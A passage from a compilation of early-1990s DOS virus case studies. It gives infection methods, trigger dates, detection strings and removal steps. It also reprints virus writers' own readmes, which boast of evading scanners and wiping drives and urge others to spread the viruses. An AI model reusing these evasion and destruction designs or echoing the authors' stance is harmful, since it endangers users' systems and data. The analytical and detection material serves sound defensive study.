Upon execution of Storyteller it hogs 51.824 K of RAM. On execution of
an infected file the virus only uses 7 k of RAM. Interrupts hooked are
8h and 21h.

Viral code and encrypted text is appended to the end of the .EXE file.
The .EXE files grow by 3,118 bytes. Infected programs seem to function
normally. I would like to note that this virus does not go for the
COMMAND.COM file which is unusual. The program usually infects what
you run. It doesn't seem to go out of it's way to infect files. I
would also like to mention there is no stealth, boot sector,
or part table infections.
CASE STUDY: AIDS

The AIDS virus, also known as the Hahaha virus in Europe and referred
to as the Taunt virus by IBM, is a generic .COM and .EXE file
infector. When the virus activates, it displays the message "Your
computer now has AIDS", with AIDS covering about half of the screen.
The system is then halted, and must be powered down and rebooted to
restart it. Since this virus overwrites the first 13,952 bytes of the
executable program, the files must be deleted and replaced with clean
copies in order to remove the virus. It is not possible to recover
the overwritten portion of the program.

        Note: this is NOT the Aids Info Disk/PC Cyborg Trojan.

Known variants of AIDS are:

        AIDS B: Very similar to the original AIDS virus, this variant is
                also 13,952 bytes in length. Unlike the original virus, it
                will only infect .COM files, as well as COMMAND.COM, and
                does not activate as the original virus did. Instead, this
                variant will occasionally issue the following error message:
                "I/O error 99, PC=2EFD Program aborted".

        AIDS-1992: Isolated at several locations in the United States in
                May, 1992, this variant of the AIDS virus has been altered
                to avoid detection by anti-viral utilities. Among the
                changes to the virus are that it will not infect files if
                there are less than two subdirectories on the current drive.
                System hangs may occur when infected programs are executed,
                as well as the system video mode may be switched to 25 x 40
                Black & White from colour mode.

And from the author comes this description:

```
 +-----------------------------+      +------------------------------------+
 |                             |  P   |                                    |
 |  @@@@@@@  @@@@@@@@  @@@@@@@@ |  *   |   #####    #####    ####    #####  |
 |  @@       @@   @@      @@    |  R   |   #   #      #      #   #   #      |
 |  @@       @@   @@      @@    |  *   |   #####      #      #   #   #####  |
 |  @@       @@@@@@@@     @@    |  E   |   #   #      #      #   #       #  |
 |  @@       @@          @@     |  *   |   #   #    #####    ####    #####  |
```

```
|  @@        @@               @@      | S |                                        |
|  @@@@@@@   @@          @@@@@@@@      | * +----------------------------------------+
|                                     | E |       A NEW AND IMPROVED VIRUS FOR      |
+-------------------------------+     | * |          PC/MS DOS MACHINES            |
|        C O R R U P T E D      |     | N +----------------------------------------+
|                               |     | * |    CREATED BY: DOCTOR DISSECTOR        |
|      P R O G R A M M I N G    |     | T |FILE INTENDED FOR EDUCATIONAL USE ONLY|
|                               |     | * |   AUTHOR NOT RESPONSIBLE FOR READERS   |
|    I N T E R N A T I O N A L  |     | S |DOES NOT ENDORSE ANY ILLEGAL ACTIVITYS|
+-------------------------------+     |   +----------------------------------------+
```

Well well, here it is... I call it AIDS... It infects all COM files, but it is
not perfect, so it will also change the date/time stamp to the current system.
Plus, any READ-ONLY attributes will ward this virus off, it doesn't like them!

Anyway, this virus was originally named NUMBER ONE, and I modified the code so
that it would fit my needs. The source code, which is included with this neato
package was written in Turbo Pascal 3.01a. Yeah I know it's old, but it works.

Well, I added a few things, you can experiment or mess around with it if you'd
like to, and add any mods to it that you want, but change the name and give us
some credit if you do.

The file is approximately 13k long, and this extra memory will be added to the
file it picks as host. If no more COM files are to be found, it picks a random
value from 1-10, and if it happens to be the lucky number 7, AIDS will present
a nice screen with lots of smiles, with a note telling the operator that their
system is now screwed, I mean permanantly. The files encrypted containing AIDS
in their code are IRREVERSIBLY messed up. Oh well...

Again, neither CPI nor the author of Number One or AIDS endorses this document
and program for use in any illegal manner. Also, CPI, the author to Number One
and AIDS is not responsible for any actions by the readers that may prove harm
in any way or another. This package was written for EDUCATIONAL purposes only!
CASE STUDY: ARF ARF

The Arf arf virus is reported by F-Prot as being the Violator virus,
this is wrong. Arf arf is a unique virus in its own right written by
Rabid.

A quick and dirty SSD analysis of ARF.COM running in a directory on
it's own reveals the following actions:

Get DOS version
Get DTA address
Set DTA address
Get system date
MESSAGE:
Arf Arf Got you!
 -- RABID '90

Format disk track [drive 00]
Format disk track [drive 01]
Format disk track [drive 02]
Format disk track [drive 03]
Format disk track [drive 04]
Format disk track [drive 05]
Format disk track [drive 06]
Format disk track [drive 07]
Format disk track [drive 08]
Format disk track [drive 09]
Format disk track [drive 0A]
Format disk track [drive 0B]
Format disk track [drive 0C]

```
Format disk track [drive 0D]
Format disk track [drive 0E]
Format disk track [drive 0F]
Format disk track [drive 10]
Format disk track [drive 11]
Format disk track [drive 12]
Format disk track [drive 13]
Format disk track [drive 14]
Format disk track [drive 15]
Format disk track [drive 16]
Format disk track [drive 17]
Format disk track [drive 18]
Format disk track [drive 19]
Searching for [*.COM]
Get file attributes [ARF.COM]
Set file attributes [ARF.COM]
Open file [ARF.COM]
Get file date/time [ARF.COM]
Get system time
[3] bytes read from [ARF.COM]
Move file pointer [ARF.COM] [0] relative to end
Set file date/time [ARF.COM]
Close file [ARF.COM]
Set file attributes [ARF.COM]
Set DTA address
Terminate!
```

Further analysis reveals that Arf infects a single .COM file in the current directory. There seems to be some rather peculiar triggering criteria. Any way, the important thing is that infected files contain the strings "Arf Arf Got you!" and " -- RABID '90" which are easy to detect with grep, or a hex disk editor.

CASE STUDY: BAD BRAINS

Bad Brains is a .COM infecting, encrypted non-resident virus.

The Bad-Brains seems to be the second 'little brother' virus. What I mean by this is that the virus is a striped down form of the Hellraiser virus, much the same as 808 was to 1992.

The virus works the same as the Hellraiser virus as far as encryption and infection go.

The virus does not seem to have any distructive side effects besides infecting files.

The virus contains the strings:

```
    "SKISM"
    "Bad Brains"
```

CASE STUDY: BEAST-N-BLACK

The Beast-n-black virus was written in 1992 by "Night Crawler" of Phalcon/Skism. This is his own notes on the virus:

                     >> Beast-N-Black v1� <<

                     (C) 1992, Night Crawler

                     -<>- SKISM/PHALCON -<>-

It's finally finished! I never thought I'd be writing viruses, but due

to the recent downfall of my favorite board (Digital Warfare), I
finally said, "Fuck it!" and wrote this lame little virus. Here's what
it does:

Direct-action COM infector. Any COM in the current directory 1024 bytes
or larger will be infected. Will infect through Read-Only and Hidden
file attributes. Restores original time/date stamp and attributes upon
completion. Infected files increase by 429 bytes. The original BEAST.COM
contains the following text, "Beware the Beast-N-Black (C) 1992, Night
Crawler - SKISM/PHALCON!" Infected files will only contain the "Beware
the Beast-N-Black" part of the text. Although this virus will infect
COMMAND.COM, I have experienced -NO- problems with booting from an
infected copy. Also, no other damage besides filesize increase is
implemented in this version.

Ok, now that I'm done with that shit, I'd like to say, "Thanks" to all
the members of SKISM/PHALCON for allowing me to be a member of their
wonderful organization. I'd also like to say, "Fuck You!" to the rest
of the world! Haha, Chaos-N-Anarchy will rule supreme!

04 Feb 92   - PC, AL.

Night Crawler - SKISM/PHALCON!
CASE STUDY: The Burglar Virus

The Burglar virus is a Resident .EXE appending infector. It is also a
very sophisticated piece of code which is very difficult to
disassemble! What Burglar appears to do is to copy itself into memory
at the end of the interrupt table and hook into interrupt 21h which it
changes to address 0058:9FA9. Then, whenever a DOS service call is
made the virus takes control.

Burglar infects any .EXE files which are DIR listed, COPYed, or opened
by DOS (eg: TYPE xxxx.exe will cause xxxx.exe to be infected). During
a COPY the source file is first infected and then copied, so that both
the source and target files are infected.

You can check for residency by inspecting INT 21h, and you can detect
infected files by looking for the signature strings listed at the end
of this message.

Quick SSD analysis of a Burglar infected program:

Interrupt 21
(Inhibited write to address 09933)
Get segment address of program
Get segment address of program
Read segment of vector 21
Read offset of vector 21
Read offset of vector 21
Set vector 21 offset to :9FA9
Read segment of vector 21
Set vector 21 segment to 0058:
Get segment address of program

Infected files contain the two strings

AT THE GRAVE OF GRANDMA....
Burglar/H*.*

NB:
Burglar is NOT DETECTED by any known virus scanners at this time
CASE STUDY: The Vengeance Virus

The Vengeance virus was written in February 1992 by Decimator of
Skism/Phalcon, and publisged in 40 hex magazine issue 5. The following
is the author's original documentation about the virus:

```
                      =================
                       Vengeance Virus
                      =================
                          DecimatoR
                       SKISM/PHALCON '92

                       Private release for
                       * Night Crawler *
                          02/03/92
```

 NOTE: PLEASE DO NOT DISTRIBUTE THIS UNTIL AFTER THE RELEASE OF 40HEX 5!!

        The story behind this one is simple... it's dedicated to the
memory of Digital Warfare, which was confiscated by local police after
Instigator was nailed for phreaking. The board was taken down 01/20/92.
This virus was created shortly afterward, and is to be released publically
in 40Hex Issue 5. This file is the same virus which is being released in
40Hex 5, except it's in .COM form. I'm sending it your way so you can add
it to your collection, and pass it around AFTER 40-Hex 5 comes out.
        After then, I don't care where it goes... I'd PREFER it went
straight to MCI's computer system and the Hard Drive of Mr. Terry Oaks. But
I doubt it will ever get there. <sigh>

        Stats:

        name: Vengeance Virus
        size: 723 bytes
        type: Non-Resident Parasitic .COM infector

        Vengeance lives up to it's name. As I said, it's a tribute to
Digital Warfare. The virus will spread to any .COM file larger then 1992
bytes, and follows the current path to replicate. On the 20th day of every
month, Vengeance will activate. On XT systems, the system will display this
message:
                       *** Vengeance is ours! ***

and will start beeping, and lock up the system. However, since XT's don't
keep the date, chances are it will never activate on them. On AT and better
machines, the virus will display the above message, then format the first 32
tracks of the C: and D: drives. After that, it will begin beeping, and lock
up the system. If a key is pressed,the beeping will turn into a steady tone.
The only way to shut up the computer is to hit rest or power down. All info
on the hard drives will be lost, as the boot record and FATs will be
decimated, along with a good portion of data.
        Other text which is found in the virus, but is not displayed, is
"SKISM/Phalcon '92". (Had to let ole Johnny boy know who's responsible...)
        Vengeance is definitely something you don't want to get hit with.
It's not just annoying, as Anti-Fire (dubbed "Infinity" by McAfee) was. I
tested the code on an XT, and an Epson 386sx... I set the date for the 20th
on both machines, then ran the virus. On the XT, the HD was not formatted,
but the beeping and lockup did occur. On the 386sx, the drive was destroyed,
and the machine locked up as it was supposed to.
        People wonder why we release destructive viruses... I never thought
I would, but after Terry Oaks pissed us all off, well, I figured I'd make
one especailly for those who knew jerks like him, and wanted to get even.
So, until this thing is SCANned, maybe we can wipe out a few dozen warez

dewds and pirate boards... that would at least give a little value to this thing.
        As of SCAN 86, this thing is not detected. F-Protect will find it as a "Vienna" varriant, which it is... it's based on the Violator code, which is a hack of Vienna. Other virus scanners might pick it up, but SCAN doesn't.

        "You hear it rumble now
         and soon enough we'll see the lightning flashing
         tearing the roof right off my house
         the cyclone twisting storm is never ending...
         Take the world by storm..."

                        --Rythm Corps

CASE STUDY: The Joshi Virus

The author of the following documentation is unknown.

Aliases: Happy Birthday Joshi, Stealth Virus
Discovered: June, 1990
Symptoms: BSC, machine hangs and message
Origin: India
Eff Length: N/A
Type Code: BRX - Resident Boot Sector/Partition Table Infector
Detection Method: ViruScan V64+, Pro-Scan 1.4+
Removal Instructions: CleanUp V66+, Pro-Scan 1.4+, RmJoshi,
                       or Low-Level Format Harddisk and DOS SYS floppies

The Joshi Virus was isolated in India in June 1990. At the time it was isolated, it was reported to be widespread in India as well as portions of the continent of Africa. Joshi is a memory resident boot sector infector of 5.25" diskettes. It will also infect hard disks, though in the case of hard disks it infects the partition table or master boot sector rather than the boot sector (sector 0).

After a system has been booted from a Joshi-infected diskette, the virus will be resident in memory. Joshi takes up approximately 6K of system memory, and infected systems will show that total system memory is 6K less than is installed if the DOS CHKDSK program is run.

Joshi has some similarities to two other boot sector infectors. Like the Stoned virus, it infects the partition table of hard disks. Similar to the Brain virus's method of redirecting all attempts to read the boot sector to the original boot sector, Joshi does this with the partition table.

On January 5th of any year, the Joshi virus activates. At that time, the virus will hang the system while displaying the message:

        "type Happy Birthday Joshi"

If the system user then types "Happy Birthday Joshi", the system will again be usable.

This virus may be recognized on infected systems by powering off the system and then booting from a known-clean write-protected DOS diskette. Using a sector editor or viewer to look at the boot sector of suspect diskettes, if the first two bytes of the boot sector are hex EB 1F, then the disk is infected. The EB 1F is a jump instruction to the rest of the viral code. The remainder of the virus is stored on track 41, sectors 1 thru 5 on 360K 5.25 inch Diskettes. For 1.2M 5.25 inch diskettes, the viral code is located at track 81, sectors 1

thru 5.

To determine if a system's hard disk is infected, you must look at the
hard disk's partition table. If the first two bytes of the partition
table are EB 1F hex, then the hard disk is infected. The remainder of
the virus can be found at track 0, sectors 2 thru 6. The original
partition table will be a track 0, sector 9.

The Joshi virus can be removed from an infected system by first
powering off the system, and then booting from a known-clean, write-
protected master DOS diskette. If the system has a hard disk, the
hard disk should have data and program files backed up, and the disk
must be low-level formatted. As of July 15, 1990, there are no known
utilities which can disinfect the partition table of the hard disk
when it is infected with Joshi. Diskettes are easier to remove Joshi
from, the DOS SYS command can be used, or a program such as MDisk from
McAfee Associates, though this will leave the viral code in an
inexecutable state on track 41.

CASE STUDY: The Sicilian Mob Ia Virus

The Sicilian Mob Ia virus was written by Rock Steady of NuKe in
September 1991. His original documentation follows:

```
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                            Sicilian Mob Ia
; Sept 1991
;                    Written by --*> Rock Steady <*--
;                         [NUKE] Master Programmer
;      Copy-ya-right (c) 1991 [NuKe] InterNat'nl Software Development
;
;
; Virus NOTES: It's here `Sicilian Mob Ia' Virus. And UNDETECTABLE as of the
;        Sept & Oct 1991. This Virus wuz an development from the Vienna Virus.
;        Though is VERY different, this one had to be changed a HOLE fucken
;        lot to make it UnDectable from McAfee & Ass (Scan 7.2V80). And I made
;        this one a Signature Virus. Passing the word that NUKE rules...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; VIRUS: Well this Virus InFects Only *.COM and the COMMAND.COM. One thing
;        about the Infection method is that there is a Random Generator in
;        the Virus and 6 out of 7 times it will infect a *.COM and 1 out of
;        7 times it will do a Warm Re-Boot. (No Memory Count) And when it
;        Infects a file it will NOT change the Date and Time of the File!
;        This Virus is Also Able to Infect READ ONLY, files, it will change
;        the file to Read/Write and infect it, and then turn it back to READ
;        ONLY. The only sign of detection is that the infected files grow
;        by 1024 Bytes. This Virus is not Ram-Resident, and when firsted
;        runned it will try to infect MORE than ONE *.COM file. It does
;        at the Current Directory searching for *.COMs and then Uses the
;        PATH to get MORE *.COM files. If there is NO PATH the virus
;        will go to the ROOT Directory and search for Sub-Directories
;        And Once in a PATH it Checks for SUB-directories to INFECT
;        EVEN MORE *.COM. And AFTER January 1st, 1992 it will display a
;        Message that is HARD-CODED in the virus! The message will be
;        DISPLAYED EVERYTIME a Infected Program is Runned! And still continue
;        to infect *.COM after Jan 1st 1992 but you'll see the message being
;        displayed everytime!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                        Look for Sicilian Mob II
; Yupe I have another Virus. Sicilian Mob II However this Virus will be
; Completed by Oct 1991 it won't be as NICE as this one is.
; HIGHLIGHTS of Sicilian Mob II : This Virus will Infect *.COM and *.EXE Files
; and will [NUKE] all drives from A-Z. On a certain dated. Infected files
; still keep the same date and is bigger by 1200Bytes. Basically the virus
; is like the First one. Just harder to detect from Scan (7.2V80 or latest)
```

```
; and will do a Low-Level Format on a certain Date.
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
CASE STUDY: The Parasite Virus

The Parasite virus was written in October 1991 by Rock Steady of NuKe.
His original documentation follows:

;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                        Parasite Virus Version 1.0
; October 1991
;                    Written by --*> Rock Steady <*--
;                         [NukE] Head Programmer
;      Copy-ya-right (c) 1991 [NukE] InterNat'nl Software Development
;
; Virus NOTES: It's here `Parasite' Virus. And UNDETECTABLE as of the
;        October 1991 from McAfee ScanV82! This virus is a Branch from the
;        Sicilain Mob Ia I made! However this baby is fucken DANGEROUS!!!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; VIRUS: Well this Virus InFects Only *.COM and the COMMAND.COM. One thing
;        about this Virus is that On MONDAYS it wipes out the BOOT,FAT,DIR
;        sectors from you C: Drive! What I like to call "Bloody Mondays"
;        So it Wipes Drive C: and then Displays a Message!
;        Other than Mondays the virus copies itself to as Many files it
;        can find thru the PATH from DOS and searching for Sub-Directories
;        With-in those Dos PATHs... Or if it can't find a PATH well then it
;        Starts at the ROOT dir and works thru the drive... 70% of the time
;        the virus will just spread and copy itself. 20% of the time the
;        virus will Make "Machine Gun Noices" in the PC speaker then
;        displaying my message and then continues to infect files...
;        FINALLY the last 10% of the time the virus will Re-Boot the system!
;        Aarrggghh..So the "Average" Lamo user will know FAST something is
;        fucking his system... and the BEST part is that SCAN can't find this
;        virus!!! So the user better "TRY" to get rid of it before Monday!!!
;        hehe...Anyways I put a "NICE" message in he virus CODES!!! READ IT!!!
;        Take Pctools or Norton Utilities and VIEW the Virus and read my
;        handy message at the end of the virus!!!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                        Rock Steady's Notes
; Contact me if you can...Thru any of the [NukE] Site All over the WorlD!
; Basically in MonTreal (World Head Base) , other Montreal SiTes, Texas,
; California, Britsh Columbia!
; Tell me your views on the virus... and help spread my Latest Viruses!!!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; BTW: I'm not responsible for the Damage my virus "May" create! Because I
; DON'T SPREAD THEM!!! ALL YOU LAMERS DO!!! I just create them!
; ~~~~~                            - PeAcE -
;                                Rock Steady
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;
CASE STUDY: The Captian Trips Virus

The author of the following documentation is unknown.

Aliases: SKISM 12
Symptoms: .EXE and .COM files infected.
Orgin: New York
Eff Length: 1800 - 1810 Bytes
Type Code: Resident .COM and .EXE infector.



The Captian Trips virus, when executed, will install it self in memory and
will infect any .COM or .EXE file that is run.

If the virus is run on the last Friday of the month all files that are
run will be truncated to zero bytes, rendering the file un-
```

recovorable.

It is not known what the activation date is, but it is said that the
virus will periodically tamper will the i/o ports of the system and
blank the screen at random times.

This virus contains the string:

     "Captian Trips"

Captian Trips was the virus from the book _The Stand_ by Stephen King.

Known varient(s)

Captian Trips B: Same as Captian Trips except a few critical bytes
have been changed to avoid detection.

CASE STUDY: The Marauder Virus

Marauder Virus
By Hellraiser
of Phalcon/Skism

Aliases: Deadpool-B, 808-B, 860.

Marauder is a non-overwriting, non-resident, encrypting, semi-mutating,
.COM file infector.

When a file is infected with the Marauder Virus the virus will search
the current path for a .COM file and infect it, adding 860 bytes to
the files size. If no .COM files reside in the current directory, the
virus will go up one directory and check for .COM files to infect
until it reaches the root. At the root directory the virus will scan
for other directorys to find .COM files, until one uninfected .COM
file is found. If no .COM files are found on the disk the virus will
terminate it search and return to the currently running program.

If an infected file is run on Feburary second of any year, the virus
will destroys all files in the current directory, by overwritting them
with message code. The files will not run when executed, just
terminate upon reading the first line. There is no way to recover the
files once the virus destroys them. After this, control will be given
back to the host program.

The Maruder virus is able to infect any .COM file no matter what
attribute... Hidden, System, Read-Only, etc... The files date, time,
and attribute will not be changed after a file becomes infected.

The virus will not cause a system error if run on a write-protected
floppy or fixed-disk, merely terminate any attempt of infection.

The virus will not infect files under 16 bytes or over 64,675 bytes.

For the most part the virus is randomly encrypted with each passing
infection, the small part of the program code which is not encrypted
mutates between two different, but comaptable strains of bytes.

There is no way of detecting the virus infections other than the
addition of 860 bytes to infected files, in other words, system-run
time is not affected at all. If any run-time is affected it is the
one second it takes for the virus to find and infect a file.

The virus causes no damage to disk sectors or boot records etc... The
only damage is the destuction of all files in the current directory on

02/02/XX.

Thanks to: Shade of Sorrow, Dark Angel, and Demogorgon... And all
other active members in Phalcon/Skism.

Hellraiser 1992
I'm back...
CASE STUDY: The Anti-FiRe virus

The authors original documentation for this virus follows:

Virus: Anti-FiRe
Aliases: ReplicatoR, InFiniTy (or whatever else they think of)
Size: 750 bytes
Activates: the 21st of every month
Symptoms: .COM file growth, message displayed
Type: Non-resident Parasitic .COM infector
Detection: Possibly a scanner which finds violator, not SCAN or CPAV (yet)
Removal: Delete infected files

This virus is a hack of the RABID Violator strain C, which has been
altered to avoid detection by SCAN v85. Instead of killing all the
drives, as violator C does, this simply replicates, (infects 1 COM
file each run) and on the 21st of every month, displays a message
after a file is infected. The following text can be found in all
infected files:

        "ReplicatoR", "Dec", "FiRe is a LAMER... destroy InFiniTy"

NOTE:
The only text which is displayed is "FiRe is a LAMER... destroy
InFiniTy". The reason being, FiRe (ex prez of NEUA) is so lame.. can't
crack, can't supply, can't program, can't run or set up his own net
<InFiNET> and he thinks he's really cool. He has this "I'm a BAD
dude" attitude, and I decided it's time he and other warez dewds get
the message.. he's a LAMER! So, all I can say is I hope this little
baby somehow gets back to him. BTW - this virus contains no
destructive code, and infects files over 400 bytes, and under 64,000
bytes in size. Also will not infect if FluShot or Virex PC are active
in memory. CASE STUDY: The Rage Virus

The Rage virus was written by Data Disruptor in May 1991. His original
documentation follows:

                Rage - Transient/Stealth/Mutating/COM Infector
                ----
                           Completed May 31, 1991
              Written by Data Disruptor with special thanks to Zodiac

  Order of Infection
  ----
        (1) Current directory
        (2) Root directory if no other files are found in (1)

  Stealth (???)
  ----
        o Will detect the presence of FluShot+ and VirexPC. Will not execute
          under the influence of these utilities.

        (Due to the makeup of Norton's Disk Monitor, I was unable to find a

```
         way to detect it at present time)

Infection Size
--------------
      o Infected files are increased by 575 bytes
      o Files under 2000 bytes will not be infected
      o Files over 63425 bytes will not be infected

Randomizer Routine
------------------
      o Every time a file is infected, there is an approximate 1 in 16 chance
        that a message;

        "Pray for death - RABID '91"

        will be printed.

Mutation
--------
      o This virus encrypts itself differently every time it infects a file.

      (Note: It is quite easy to develop a scan string for this virus as the
       decryptor remains the same all the time. This will be remedied in
       version 1.1 by encrypting the decryptor... If you get what I'm saying)

Destruction
-----------
      o On the 13th of every month, Rage will clear the screen and display;

        "Rage - RABID Int'nl Development Corp. '91
         By Data Disruptor - Thanks to Zodiac"

        It will then attempt to format all drives starting from drive C: on
        through Z:, corrupting 255 sectors of each drive.

Identification
--------------
      o If you fear that you have infected yourself, simply search for the
        string;

        Patricia Boon

        which at no time is encrypted.

      (My girlfriend thinks that I don't write viruses, therefore, I said
       I'd prove to her that I do by putting her name in my next virus and
       "spread her name around the world...")

Thoughts
--------
      o Due to the appearance to the text "Patricia Boon", this virus will
        more than likely be called, "Patricia", but seeing as how there
        allready, unnoficially, is a virus called "Patricia", this may end
        up being called "Patricia ][" or Flash Force's Nightmare name of
        "Boon".

      o Unless the virus-guru's successfully disassemble this virus, only
        then will the name "Rage" come out. (Fortunately, McAffe is good at
        that sort of thing)

Final Note
----------
      o I am releasing the original virus in an infected MAKESTND.COM with
        filesize 3128 bytes. Run the program, then hit CTRL-BREAK to
```

terminate.

  That about wraps up this readme. If you have any questions, reach me on The
G Spot.

                                                            Disruptor
                                                            RABID '91

CASE STUDY: The Deadpool virus

Deadpool Virus
Created 12/13/91
By Hellraiser
Of Phalcon/Skism

Deadpool is a non-resident,non-overwriting, encrypting .COM file infector

Files infected by Deadpool will increase in size by 560 bytes.

Deadpool will first search for a .COM file in the current directory,
if none is found there it will jump up one directory. Is no COM files
are there it, will keep searching upwards until it reaches the root
directory. In the root directory it will once again attempt to infect
a one .COM file. If still none are found it will jump to the first
directory (no matter if it is hidden or read-only) and attempt to find
an uninfected .COM file.

Deadpool will infect any "real" .COM file (not missnamed .EXE's) with
any attributes. It will not change the files date, time, or attributes
after infection. Meaning a hidden, read-only .COM file will again be a
hidden, read-only .COM file after infection takes place.

The virus uses a form of encryption that allows for a possible of 25,404
different viral strains.

I will not disclose what Deadpool does on activation, but let me just
assure you it is not distructive.

CASE STUDY: The Doomsday Virus

The following is the original documentation by the author of the
Doomsday virus:

The Doomsday virus is a parasitic, non-resident, self-encrypting, COM
infector. It is EXTREMELY damaging when it activates.

The virus attachs itself to the end of host COM files. When an
infected program is executed, the virus will search the root directory
of the current drive for an uninfected COM file. If the drive is
bootable, this will almost always be COMMAND.COM. If no uninfected
COM file is found in the root directory, the virus will then search
the current directoy. If no uninfected files can be found in the
current directory, then the date is checked. If the date happens to
be the 29th day of any month, the virus will activate. As long as a
file can be infected, the virus will not activate.

Upon activation, (most likely when you boot the computer as
COMMAND.COM should have been one of the first files infected), the
virus will start reading in logical sectors from the current drive.
These sectors will then be XOR'ed in memory and written back to their
original locations on the disk. This effectively destroys EVERYTHING

on the disk. This continues until the entire disk is encrypted.
Partially throught the destruction process (beyond the point of no
return), a message is displayed alerting the user to his situation.

This virus employs a simple but effective encryption mechanism, making
every infection different from one another. The only common code
between infections is a short, 15 byte de-encryptor code. This is
what the included SCAN string searches for.

WARNING!! This zip file contains a live virus. It was created for
educational study of viral action. DO NOT DISTRIBUTE. For research
purposes only. The author cannot be held responsible for misuse of
this program.

Have fun but BE CAREFUL!
CASE STUDY: The Screaming Fist Virus

The following is the author's documentation on this virus:

Screaming Fist Virus
By Lazarus Long
of SKISM/PWL

ALIASES: EMF

Screaming Fist is a resident, non-encrypting infector of .COM and .EXE
files. It becomes resident only once at the top of memory, reserving
only 1k for itself. Most people will never notice that they are
missing it. Immediately upon becoming resident, it attempts to infect
C:\COMMAND.COM, almost assuring it's continued survival. After that,
it will infect files when they are opened, executed, renamed, or on
attribute change. It is similar in these respects to the Dark Avenger
virus, but is only 1/3 the size. All infected programs will run as
they normally would. COM files increase by 711 bytes and EXE's
increase by that amount plus a little to fill out the page boundary on
the file.

The virus will infect through any attributes, and restore them upon
infection. The file date and time will not change. The virus also
covers up all critcal errors such as a write protected disk.

If you are debugging this virus, be very careful. You may infect your
debugger, or your COMMAND.COM, and forget about it. Sooner or later,
you would wonder why all your programs were just a little bit
bigger.(Hmmm?)

It will not reinfect files, unlike Jeru-B and it's variants.

For some reason, most of the files I have tested this with that use
overlays (Such as PcShell and Telemate) do not want to run after being
infected. If anyone out there could offer a little advice on the
subject, I'd be very grateful. Until then, later on........

    Lazarus Long

CASE STUDY: The Screaming Fist IV Virus

Documentation by an unknown author

Virus Name: Screaming Fist IV

```
Aliases:      EMF, Stranger, Enemy
Symptoms:     .COM and .EXE growth, Partition table modified
Origin:       Columbia, South Carolina
Eff Length:   927 Bytes
Type Code:    Parasitic Resident Encrypting .COM and .EXE Infector
Detection Method:  None at the moment
Removal Instructions:  Delete infected files, low level format HD
```

When an infected program is first run, the virus first checks to see
if it has previously infected the partition table on the C drive. If
it has not, it copies the old partition table to Head 0, Track 0,
Sector 4 of drive C. It then overwrites it's code on top of the old
partition table, and stores an unecrypted copy of itself at physical
sectors 2 and 3 of the C drive. It does not become resident at this
time. On the next reboot the virus will become resident at the top of
memory, but below the 640k barrier. On systems with 640k, this will
usually be at segment 9F40. It then hooks INT 21, INT 13, and INT 1C.
It will then infect both .COM or .EXE files on open, attribute change,
execute, or rename. It infects COM files by adding itself to the end
of the original code, and then adding a jump at the beginning of the
file. Infected COM files can be identified by seeing if the fourth
byte of the file is one less than the second byte. It infects EXE
files by padding the file out to a 512 byte multiple, and then adding
it's code at that position. When in memory, the partition table
infection will not be able to be seen, as the virus re-directs all
access to the infected table back to the original one. The virus does
perform self encryption, however, it is nothing very complicated. It
is a simple XOR method that alternates between two methods of changing
the encryption key.

As of this date, the Screaming Fist IV virus has no activation of any
sort.

To remove the virus, first boot off a clean floppy, and then copy
sector Head 0, Track 0, Sector 4 back to Head 0, Track 0, Sector 1.
Then remove all infected files from your hard drive.

CASE STUDY: The Omega Virus

This information was written by Rizwi of the Infodesk BBS, The Hague:

```
   Virus Name:  Omega Virus
      Aliases:  ---
    Discovery:  December 1991
         Type:  Non-Resident .COM infector
       Origin:  Germany
   Eff Length:  440 Bytes
```

Detection:

F-Prot 2.01 or INOC440 for both detection and removal or HTSCAN/TBSCAN
with the next signature for detection only:

```
        ;
        Omega Virus
        COM
        7244B440B903008D562BCD217238B440B9B501
        ;
```

General Comments:

The Omega Virus was received in December 1991 from Germany where it is
believed to be widespreaded. The virus is a non-resident com-files
infector.

The virus-code with a length of 440 bytes is placed in at the end of the file.

When an infected file is executed, the virus will infect all non-infected com-files in the current directory which have a length below 61441 bytes. When all com-files in the current directory are infected, the virus will move on to the directories below the current one. The virus will only go one sub-directory down-below the current one.

If all com-files in the current directory and the first level sub-directories below the current are infected, the virus will restart its procedure from the root-directory from the first harddisk.

Omega spreads fast, but it will not be unnoticed as on excecution of an infected program, the disktime access is much longer as it normally would be. Also, files can be protected against this virus by setting the read-only bit on files.

When the virus has done its infective job, it will get the current date. If the current date is the original Friday the 13th, it will write the Omega character to the screen (ASCII 234) and overwrite the first two sectors of the first harddisk.

VIRUS REFERENCE

A concise guide to computer viruses.

007 Virus

The 007 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

1008 Virus

The 1008 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

1014 Virus

The 1014 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

1024 Virus

The 1024 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

1024PSRC Virus

